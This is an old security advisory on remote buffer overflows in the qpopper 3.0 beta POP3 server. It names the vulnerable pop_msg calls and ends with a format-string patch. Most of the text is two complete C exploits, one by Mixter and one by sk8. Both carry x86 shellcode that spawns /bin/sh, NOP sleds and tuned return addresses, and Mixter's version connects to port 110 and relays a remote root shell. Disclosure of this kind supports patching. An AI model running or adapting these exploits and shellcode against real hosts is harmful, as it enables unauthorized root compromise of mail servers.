COMMAND

    qpopper

SYSTEMS AFFECTED

    qpopper 3.0beta

PROBLEM

    Mixter found following.  There is a remote buffer overflow in  the
    qpop 3.0  server code  that can  lead to  remote root  compromise.
    Vulnerable  versions  are  all  versions  of  qpop  3.0b, affected
    operating systems are  _all_ systems that  run it.   Versions 2.52
    and 2.53 do  not contain this  bug.  The  latest version available
    is  3.0b20,  which  is  vulnerable,  along  with  all previous 3.0
    versions.  These bugs only affected 3.0 betas.

    The buffer overflow(s) are present in pop_msg.c (sounds  familiar)
    starting  at  line  68.   All  configurations and different builds
    seem to  be vulnerable,  as either  vsprintf or  sprintf are used,
    which  both  do  not  check  bounds  on the input buffers for each
    argument.   The  overflow  code  should  not  contain   characters
    0x0c/x17/x20, because it  would get interpreted  as more than  one
    argument and hence fail.

    /*
     * Qpopper 3.0b remote exploit for x86 Linux (tested on RedHat/2.0.38)
     *
     * Dec 1999 by Mixter <mixter@newyorkoffice.com> / http://1337.tsx.org
     *
     * Exploits pop_msg buffer overflow to spawn a remote root shell.
     * This probably works with the old qpop2 code for bsd, solaris anyone?
     *
     * WARNING: YOU ARE USING THIS SOFTWARE ON YOUR OWN RISK. THIS IS A
     * PROOF-OF-CONCEPT PROGRAM AND YOU TAKE FULL RESPONSIBILITY FOR WHAT YOU
     * DO WITH IT! DO NOT ABUSE THIS FOR ILLICIT PURPOSES!
     */

    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <errno.h>

    #define NOP		0x90
    #define LEN		1032
    #define CODESTART	880
    #define RET		0xbfffd655

    /* x86 linux shellcode. this can be a simple execve to /bin/sh on all
       systems, but MUST NOT contain the characters 'x17' or 'x0c' because
       that would split the exploit code into separate arg buffers        */

    char *shellcode =
    "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab"
    "\x89\xfa\x31\xc0\xab\xb0\x04\x04\x07\xcd\x80\x31\xc0\x89\xc3\x40\xcd\x80"
    "\xe8\xd9\xff\xff\xff/bin/sh";

    unsigned long resolve (char *);
    void term (int, int);
    unsigned long get_sp ();

    int
    main (int argc, char **argv)
    {
      char buffer[LEN];
      char *codeptr = shellcode;
      long retaddr = RET;
      int i, s;
      struct sockaddr_in sin;

      if (argc < 2)
        {
          printf ("usage: %s <host> [offset]\n", argv[0]);
          printf ("use offset -1 to try local esp\n");
          exit (0);
        }

      if (argc > 2)
        {
          if (atoi (argv[2]) == -1)
	    {
	      /* 8000 = approx. byte offset to qpopper's top of stack
	         at the time it prints out the auth error message */
	      retaddr = get_sp () - 8000 - LEN;
	      printf ("Using local esp as ret address...\n");
	    }
          retaddr += atoi (argv[2]);
        }

      for (i = 0; i < LEN; i++)
        *(buffer + i) = NOP;

      for (i = CODESTART + 2; i < LEN; i += 4)
        *(int *) &buffer[i] = retaddr;

      for (i = CODESTART; i < CODESTART + strlen (shellcode); i++)
        *(buffer + i) = *(codeptr++);

      buffer[0] = 'A';
      buffer[1] = 'U';
      buffer[2] = 'T';
      buffer[3] = 'H';
      buffer[4] = ' ';

      printf ("qpop 3.0 remote root exploit (linux) by Mixter\n");
      printf ("[return address: 0x%lx buffer size: %d code size: %d]\n",
	      retaddr, strlen (buffer), strlen (shellcode));

      fflush (0);

      sin.sin_family = AF_INET;
      sin.sin_port = htons (110);
      sin.sin_addr.s_addr = resolve (argv[1]);
      s = socket (AF_INET, SOCK_STREAM, 0);

      if (connect (s, (struct sockaddr *) &sin, sizeof (struct sockaddr)) < 0)
        {
          perror ("connect");
          exit (0);
        }

      switch (write (s, buffer, strlen (buffer)))
        {
        case 0:
        case -1:
          fprintf (stderr, "write error: %s\n", strerror (errno));
          break;
        default:
          break;
        }
      write (s, "\n\n", 1);
      term (s, 0);

      return 0;
    }

    unsigned long
    resolve (char *host)
    {
      struct hostent *he;
      struct sockaddr_in tmp;
      if (inet_addr (host) != -1)
        return (inet_addr (host));
      he = gethostbyname (host);
      if (he)
        memcpy ((caddr_t) & tmp.sin_addr.s_addr, he->h_addr, he->h_length);
      else
        {
          perror ("gethostbyname");
          exit (0);
        }
      return (tmp.sin_addr.s_addr);
    }

    unsigned long
    get_sp (void)
    {
      __asm__ ("movl %esp, %eax");
    }

    void
    term (int p, int c)
    {
      char buf[LEN];
      fd_set rfds;
      int i;

      while (1)
        {
          FD_ZERO (&rfds);
          FD_SET (p, &rfds);
          FD_SET (c, &rfds);
          if (select ((p > c ? p : c) + 1, &rfds, NULL, NULL, NULL) < 1)
	    return;
          if (FD_ISSET (c, &rfds))
	    {
	      if ((i = read (c, buf, sizeof (buf))) < 1)
	        exit (0);
	      else
	        write (p, buf, i);
	    }
          if (FD_ISSET (p, &rfds))
	    {
	      if ((i = read (p, buf, sizeof (buf))) < 1)
	        exit (0);
	      else
	        write (c, buf, i);
	    }
        }
    }

    Using offset  1 with  your exploit  will prompt  a root shell with
    version 3.0b18.

    Lucid Solutions found it too.   The 2.x series is not  vunlnerable
    because  AUTH  is  not  yet  supported  and  the error returned by
    attempting  to  use  AUTH  does  not  call pop_msg() with any user
    input.  There is also  another overflow besides the AUTH  overflow
    which can occur if a valid username and password are first entered
    also occuring in pop_msg().

pop_get_subcommand.c contains this line near the bottom in qpopper3.0b20:
    pop_msg(p,POP_FAILURE,
            "Unknown command: \"%s %s\".",p->pop_command,p->pop_subcommand);

    No bounds  checking is  done on  the attempted  subcommand.  It is
    interesting to  note that  in qpop  2.53, a  similar line is used,
    but with limits on the string length!

    pop_msg(p,POP_FAILURE,
            "Unknown command: \"%.128s %.128s\".",p->pop_command,
		p->pop_subcommand);

    One would guess Qualcomm  did not continue development  of Qpopper
    directly  from  the  2.53  series,  but  rewrote code from scratch
    and/or based it on earlier code.  As a solution, pop_msg()  should
    also  do  bounds   checking,  and  not   make  the  calling   line
    responsible for it (althought that's good practice too).

    Attached is sk8's original exploit  that works on *BSD and  Linux.
    (Solaris  is  NOT  vulnerable  to  the  AUTH  overflow).    Slight
    modification is  needed on  one line  as the  comments say.   This
    exploit will actually work on the majority of machines then.

    /* QPOP version 3.0b20 and lower beta versions REMOTE EXPLOIT
     * combination *BSD and Linux
     *
     * sk8@lucid-solutions.com
     * http://www.lucid-solutions.com
     *
     * I have written this to test and demonstrate vulnerabilities on clients'
     * systems only.
     *
     * !!!!!!!!!!DO NOT distribute!!!!!!!!!!
     * (at least not until Qualcomm issues a patch)
     *
     * You may only use this to test your own system(s).
     * I am not responsible for any unauthorized use of this program.
     *
     * tested on BSDI 3.0/4.0.1, FreeBSD 2.2.8/3.3, Linux
     *
     * Since popper is usually compiled by the admin, return addresses will vary,
     * but I have included common values.  You may have to provide an offset
     * to get it to work on your system.
     *
     * I wrote the exploit near the beginning of November 1999, and unlike some
     * other exploits I've seen since, this one works even on Linux boxes on which
     * inetd was not started from a shell prompt.
     *
     * One minor change must be made for this to exploit the AUTH overflow.
     *
     * Usage: If you can't figure out how to use this, you shouldn't
     * 	  be in the security business.  (try netcat)
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/time.h>
    #include <sys/types.h>
    #include <unistd.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>

    unsigned int NOP=0x90;

    unsigned long offset=0; /* default offset */

    char bsdsc[]=
	    "\xeb\x32\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x12\x89\x5e\x17"
	    "\x88\x5e\x1c\x8d\x1e\x89\x5e\x0e\x31\xc0\xb0\x3b\x8d\x7e"
	    "\x0e\x89\xfa\x89\xf9\xbf\x10\x10\x10\x10\x29\x7e\xf5\x89"
	    "\xcf\xeb\x01\xff\x62\x61\x63\x60\xeb\x1b\xe8\xc9\xff\xff"
	    "\xff/bin/sh\xaa\xaa\xaa\xaa\xff\xff\xff\xbb\xbb\xbb\xbb"
	    "\xcc\xcc\xcc\xcc\x9a\xaa\xaa\xaa\xaa\x07\xaa";

    char linuxsc[]=
	    "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
	    "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
	    "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
	    "\xff\xff/bin/sh";

    struct version {
	    int num;
	    char* systype;
	    int buffer_length;
	    long address;
    };

    struct version verlist[] = {
	    {0, "BSDI 2.x/3.x, FreeBSD 2.x", 1001, 0xefbfd56c},
	    {1, "BSDI 4.x", 1001, 0x8047564},
	    {2, "FreeBSD 3.x", 1001, 0xbfbfd3dc},
	    {3, "Linux", 990, 0xbfffd304},
	    {0, 0, 0, 0}
    };

    int main(int argc, char** argv) {
	    char* buffer, *shellcode;
	    int buflen, i=0, ver, retaddr, align=0;
	    struct sockaddr_in sockaddr;
	    struct hostent* host;

	    if (argc < 2) {
		    printf("Usage: %s version [offset]\n", argv[0]);
		    i=-1;
		    printf("\nAvailable versions:\n");
		    while (verlist[++i].systype)  {
		      printf("   %d: %s\n", verlist[i].num, verlist[i].systype);
		    }
		    printf("\n");
		    exit(-1);
	    }

	    ver=atoi(argv[1]);
	    if (argc > 2) {
		    offset=atoi(argv[2]);
	    }
	    if (strstr(verlist[ver].systype, "Linux")) {
		    shellcode=linuxsc;
		    align=2;
	    }
	    else shellcode=bsdsc;

	    buflen=verlist[ver].buffer_length;
	    retaddr=verlist[ver].address;

	    buffer=(char*)malloc(buflen);
	    memset(buffer, NOP, buflen);
	    memcpy(buffer, "AUTH ", 4);
	    memcpy(buffer+800, shellcode, strlen(shellcode));
	    for (i=800+strlen(shellcode)+align; i< buflen-4; i+=4) {
		    *((unsigned long int *)&buffer[i])=retaddr+offset;
	    }
	    buffer[buflen-2]='\n';
	    buffer[buflen-1]='\n';

	    printf("%s\n", buffer);
    }

SOLUTION

    Fixed in 3.0b22.   Evan it was said  that these bug only  affected
    3.0 betas  this iseems  to be  bullshit.   In pop_euidl()  in file
    pop_uidl.c (qpop-2.53):

        } else {
        
            sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
            if (nl = index(buffer, NEWLINE)) *nl = 0;
            sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p,mp));
            return (pop_msg (p,POP_SUCCESS, buffer)); <-- *here*
          }

    It looks good, but...

        pop_msg(POP *p, int stat, const char *format,...)

    So this function need format and some other data.  Luckly for  the
    greatest Qualcomm qpop changes privs so we have only gid mail, but
    if we have a non-shell account, we can "get" a shell...   Ofcourse
    it's hard to exploit.  Patch on qpop-2.53 ...

    --- pop_uidl.c	Thu Oct  7 02:02:44 1999
    +++ pop_uidl.c	Sat Oct  9 20:34:00 1999
    @@ -59,7 +59,7 @@
    
 	    sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
             if (nl = index(buffer, NEWLINE)) *nl = 0;
    -	return (pop_msg (p,POP_SUCCESS, buffer));
    +	return (pop_msg (p,POP_SUCCESS,"%s", buffer)); // patched by z33d
           }
         } else {
 	    /* yes, we can do this */
    @@ -149,7 +149,7 @@
 	    sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
             if (nl = index(buffer, NEWLINE)) *nl = 0;
 	    sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p, mp));
    -	return (pop_msg (p,POP_SUCCESS, buffer));
    +	return (pop_msg (p,POP_SUCCESS,"%s", buffer)); // patched by z33d
           }
         } else {
 	    /* yes, we can do this */